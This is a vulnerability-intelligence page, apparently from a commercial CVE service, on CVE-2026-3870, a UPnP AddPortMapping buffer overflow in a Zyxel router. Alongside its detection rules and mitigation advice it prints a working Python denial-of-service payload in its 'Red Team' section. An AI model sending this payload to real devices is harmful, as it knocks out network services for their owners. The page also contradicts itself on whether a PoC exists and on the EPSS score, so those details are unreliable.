☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zyxel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-120
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-3870

CVE-2026-3870 Buffer Overflow in Upnp
📅 PUBLISHED: 2026-06-02 03:16 UTC 🔄 UPDATED: 2026-09-23 20:26 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Taiwan License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-3870 is a buffer overflow vulnerability in the UPnP AddPortMapping() command of the Zyxel VMG4005-B50B router, affecting firmware versions up to 5.13(ABRL.5.4)C0. An adjacent attacker can trigger a temporary denial-of-service (DoS) condition, disrupting the UPnP function of the device. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks on adjacent networks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network device.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Base Score: 6.5 (Medium)
  • Attack Vector: Adjacent Network (AV:A) – attacker must be on the same local network or within wireless range.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – no authentication needed.
  • User Interaction: None (UI:N) – no user action required.
  • Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H) – temporary DoS affecting UPnP functionality.

Threat Level: Medium. The vulnerability requires adjacent network access, limiting remote exploitation. However, it can be used in conjunction with other attacks to disrupt network services.

Deep Dive & Mechanics

The vulnerability resides in the UPnP (Universal Plug and Play) service implementation of the Zyxel VMG4005-B50B router. The AddPortMapping() action, which allows external devices to map ports to internal hosts, does not properly validate the length of input parameters. When a specially crafted UPnP request is sent, a buffer overflow occurs in the stack or heap, corrupting memory and causing the UPnP service to crash.

Root Cause: Lack of bounds checking on input strings (e.g., NewExternalPort, NewInternalPort, NewInternalClient) in the AddPortMapping() handler. The firmware uses fixed-size buffers without verifying that the input length does not exceed the buffer capacity.

Attack Vector: An attacker on the same local network sends a malicious SOAP (Simple Object Access Protocol) request to the UPnP control point (typically on UDP port 1900 or TCP port 5000). The request contains oversized parameters that overflow the buffer, leading to a crash.

Impact: The UPnP service becomes temporarily unavailable, preventing legitimate port mapping operations. The device may recover after a reboot or service restart, but repeated attacks can cause persistent disruption.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve adding input validation and bounds checking. Below is a comparison of vulnerable and patched pseudocode.

Vulnerable Code (C-like):

void AddPortMapping(char *NewExternalPort, char *NewInternalPort, char *NewInternalClient) {
    char extPort[10];
    char intPort[10];
    char intClient[16];
    strcpy(extPort, NewExternalPort);  // No bounds check
    strcpy(intPort, NewInternalPort);  // No bounds check
    strcpy(intClient, NewInternalClient); // No bounds check
    // Process mapping...
}

Patched Code (C-like):

void AddPortMapping(char *NewExternalPort, char *NewInternalPort, char *NewInternalClient) {
    char extPort[10];
    char intPort[10];
    char intClient[16];
    if (strlen(NewExternalPort) >= sizeof(extPort) ||
        strlen(NewInternalPort) >= sizeof(intPort) ||
        strlen(NewInternalClient) >= sizeof(intClient)) {
        return; // Reject oversized input
    }
    strcpy(extPort, NewExternalPort);
    strcpy(intPort, NewInternalPort);
    strcpy(intClient, NewInternalClient);
    // Process mapping...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to the same local network as the target Zyxel VMG4005-B50B.
  • Target device running firmware version <= 5.13(ABRL.5.4)C0 with UPnP enabled.

Exploitation Steps:

  1. Identify the target device's IP address (e.g., via ARP scan or UPnP discovery).
  2. Send a crafted SOAP request to the UPnP control point (typically http://<target>:5000/upnp/control/wanpppc1).
  3. The request contains an oversized NewExternalPort parameter (e.g., 1000 'A' characters) to trigger the buffer overflow.

Example Exploit Payload (Python):

import socket

target_ip = "192.168.1.1"
port = 5000
payload = (
    "<?xml version=\"1.0\"?>"
    "<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    "<s:Body>"
    "<u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">"
    "<NewExternalPort>" + "A" * 1000 + "</NewExternalPort>"
    "<NewInternalPort>80</NewInternalPort>"
    "<NewInternalClient>192.168.1.100</NewInternalClient>"
    "<NewProtocol>TCP</NewProtocol>"
    "<NewEnabled>1</NewEnabled>"
    "<NewPortMappingDescription>test</NewPortMappingDescription>"
    "<NewLeaseDuration>0</NewLeaseDuration>"
    "</u:AddPortMapping>"
    "</s:Body>"
    "</s:Envelope>"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(("POST /upnp/control/wanpppc1 HTTP/1.1\r\n"
           "Host: " + target_ip + ":5000\r\n"
           "Content-Type: text/xml\r\n"
           "Content-Length: " + str(len(payload)) + "\r\n"
           "SOAPAction: \"urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping\"\r\n\r\n" + payload).encode())
sock.close()

Expected Outcome: The UPnP service crashes, causing a temporary DoS. The device may log the crash, and the UPnP function becomes unresponsive until a reboot.

Blue Team

Detection:

  • Monitor UPnP traffic for abnormally long parameter values in AddPortMapping requests.
  • Use network intrusion detection systems (NIDS) to flag oversized SOAP payloads.
  • Check device logs for UPnP service crashes or memory corruption errors.

Mitigation:

  • Disable UPnP on the device if not required.
  • Apply network segmentation to limit adjacent network access.
  • Monitor for firmware updates from Zyxel.

Indicators of Compromise (IOCs)

  • Network Traffic:
    • SOAP requests to http://<device_ip>:5000/upnp/control/wanpppc1 with Content-Length exceeding normal bounds (e.g., > 2000 bytes).
    • Repeated UPnP AddPortMapping requests with parameter values containing long strings of repeating characters (e.g., 'A' * 1000).
  • Device Logs:
    • Entries indicating UPnP service crash or restart.
    • Memory corruption errors in system logs.
  • System Behavior:
    • Inability to create or modify port mappings via UPnP.
    • Temporary unavailability of UPnP features.

Detection Engineering

YARA Rule

rule CVE_2026_3870_UPnP_BufferOverflow {
    meta:
        description = "Detects oversized UPnP AddPortMapping requests targeting Zyxel VMG4005-B50B"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-3870"
    strings:
        $soap_action = "AddPortMapping"
        $new_external_port = "<NewExternalPort>"
        $long_string = /[A-Za-z0-9]{500,}/
    condition:
        $soap_action and $new_external_port and #long_string > 0
}

Sigma Rule

title: CVE-2026-3870 UPnP AddPortMapping Buffer Overflow Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects oversized UPnP AddPortMapping requests targeting Zyxel VMG4005-B50B
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_protocol: upnp
        http.uri: /upnp/control/wanpppc1
        http.method: POST
        http.content_length: ">=2000"
    condition: selection
falsepositives:
    - Legitimate large UPnP requests (rare)
level: high

Suricata Rule

alert tcp any any -> any 5000 (msg:"CVE-2026-3870 UPnP AddPortMapping Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upnp/control/wanpppc1"; http_uri; content:"AddPortMapping"; http_client_body; pcre:"/<NewExternalPort>[A-Za-z0-9]{500,}<\/NewExternalPort>/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable UPnP on the Zyxel VMG4005-B50B if not required for network operations.
  2. Restrict network access to the device's management interface (e.g., via firewall rules) to trusted hosts only.
  3. Monitor for firmware updates from Zyxel and apply patches as soon as they become available.

Long-Term Recommendations:

  • Implement network segmentation to isolate vulnerable devices from untrusted adjacent networks.
  • Use a dedicated UPnP-aware firewall or IDS/IPS to filter malicious UPnP traffic.
  • Consider replacing the device with a model that receives regular security updates.

Workaround: If UPnP is required, limit its use to specific internal hosts and monitor logs for unusual activity.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-3870/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.